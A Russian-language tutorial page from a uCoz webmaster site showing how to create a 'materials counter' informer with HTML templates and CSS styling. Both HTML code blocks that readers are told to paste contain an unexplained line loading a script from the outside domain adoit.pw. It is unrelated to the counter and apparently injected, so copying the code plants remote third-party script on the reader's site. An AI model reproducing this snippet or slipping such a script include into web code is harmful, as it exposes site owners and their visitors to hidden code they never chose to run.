Четверг, 28.03.2024, 12:24 На www.hinam.ucoz.ru Вы сможете найти все для создания и раскрутки сайта.
Главная Регистрация Вход
Google
Приветствую Вас, Гость · RSS

Меню сайта
Категории раздела
полезные новости [38] для раскрутки и оптимизации [27]
новые поступления [16]
как аукнится,так...

поддержите нас, пожалуйста
самое популярное
CyberBoard 1.1 для раскрутки сайтов
Коды ошибок и их расшифровка при работе с Windows
Значение тега DOCTYPE
JavaScript за 24 часа для чайников
Наш опрос
Была ли найдена интересующая вас информация

Всего ответов: 245
 
Главная » 2013 » Август » 18 » Счетчик материалов для uCoz
Счетчик материалов для uCoz
10:30

И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов

удаляем старый html код и устанавливаем новый:

Код
<ul>  
<li><div>Сайтов в каталоге:</div>$DIR$</li>  
<li><div>Записей в блоге:</div>$BLOG$</li>  
<li><div>Гостевая книга:</div>$GB$</li>  
<li><div>Новостей сайта:</div>$NEWS$</li>  
<li><div>Тем на форуме:</div>$FORUM_T$</li>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<li><div>Комментариев:</div>$COMMENTS$</li>  
<li><div>Объявлений:</div>$BOARD$</li>  
<li><div>Фотографий:</div>$PHOTO$</li>  
<li><div>Ответов:</div>$FAQ$</li>  
<li><div>Файлов:</div>$LOAD$</li>  
<li><div>Статей:</div>$PUBL$</li>  
<li><div>Тестов:</div>$TESTS$</li>  
<li><div>Видео:</div>$VIDEO$</li>  
<li><div>Игр:</div>$STUFF$</li>  
</ul>


а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:

Код
<ul>  
<li><div>Сайтов в каталоге:</div><span>$DIR$</span></li>  
<li><div>Записей в блоге:</div><span>$BLOG$</span></li>  
<li><div>Гостевая книга:</div><span>$GB$</span></li>  
<li><div>Новостей сайта:</div><span>$NEWS$</span></li>  
<li><div>Тем на форуме:</div><span>$FORUM_T$</span></li>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<li><div>Комментариев:</div><span>$COMMENTS$</span></li>  
<li><div>Объявлений:</div><span>$BOARD$</span></li>  
<li><div>Фотографий:</div><span>$PHOTO$</span></li>  
<li><div>Ответов:</div><span>$FAQ$</span></li>  
<li><div>Файлов:</div><span>$LOAD$</span></li>  
<li><div>Статей:</div><span>$PUBL$</span></li>  
<li><div>Тестов:</div><span>$TESTS$</span></li>  
<li><div>Видео:</div><span>$VIDEO$</span></li>  
<li><div>Игр:</div><span>$STUFF$</span></li>  
</ul>


а на страницу сайта в нужное место устанавливаем html каркас ячейки с информером материалов:

Код
<div class="informer-materials">  
<div class="informer-materials-title">Счетчик материалов </div>  
  $MYINF_1$  
</div>


а теперь давайте стилизуем данное решение, пропишем ему следующие css стили:

Код
/* Правильный счетчик материалов  
  ------------------------------------------*/  
.informer-materials {  
  float:left;  
  width:200px;  
  background: #fff;  
  border: 1px solid #CAD3DA;  
  border-radius:5px;  
  overflow: hidden;  
  margin-right: 20px;  
}  

.informer-materials-title {  
  float:left;  
  width:202px;  
  padding: 7px 0px;  
  background: #376fb9 ;  
  margin: -1px -1px 0px -1px;  
   
  font:11px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #093a7b;  
  text-align:center;  
  font-weight: bold;  
  color:#fff;  
}  

.informer-materials ul {  
  margin: 0;  
  padding: 0;  
  list-style: none;  
}  

.informer-materials li{  
  float:left;  
  width:170px;  
  padding: 5px 0px;  
  margin: 0px 15px;  
  border-top: 1px dotted #CAD3DA;  
}  

.informer-materials li div{  
  float:left;  
  width:150px;  
  padding-right: 10px;  
  text-align:right;  
}  

.informer-materials li div{  
  float:left;  
  width:120px;  
  text-align:right;  
}  

.informer-materials li:nth-child(1){  
  border-top: none;  
}  

.informer-materials li span{  
  padding: 2px 7px;  
  background: #9EA5A8;  
  border-radius:3px;  
   
  font:9px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #777;  
  font-weight: bold;  
  color:#fff;  
}  


На этом всё, спасибо за внимание!

Просмотров: 1118 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Хостинг от uCoz www.hinam.ucoz.ru - все для создания и раскрутки сайта.

Если Вы не смогли найти нужную информацию - воспользуйтесь общим поиском на нашем сайте или глобальным поиском в Google
Google
 
Календарь
«  Август 2013  »
ПнВтСрЧтПтСбВс
   1234
567891011
12131415161718
19202122232425
262728293031
Форма входа
Друзья сайта
.
новые регистрации
  • Надя
  • subge
  • kirakoglo
  • marinakarelina90
  • от авторитета
    Free Monitor for Google
    Banner Maker Pro v6.0.7
    Advanced Mass Sender v4.3...
    TheBat! v3.99.3 Professio...
    полезно посмотреть
    Loading ...
    Наша кнопка
    Разместите, пожалуйста у себя на сайте нашу кнопочку. После этого сообщите нам на @mail и мы добавим ваш сайт в наш каталог ссылок. Спасибо

    полезное на сайте
    >< > <

    Rambler's Top100 Service
    Рейтинг@Mail.ru HotLog Яндекс цитирования бесплатный софт раскрутка сайта скачать бесплатно
    [^]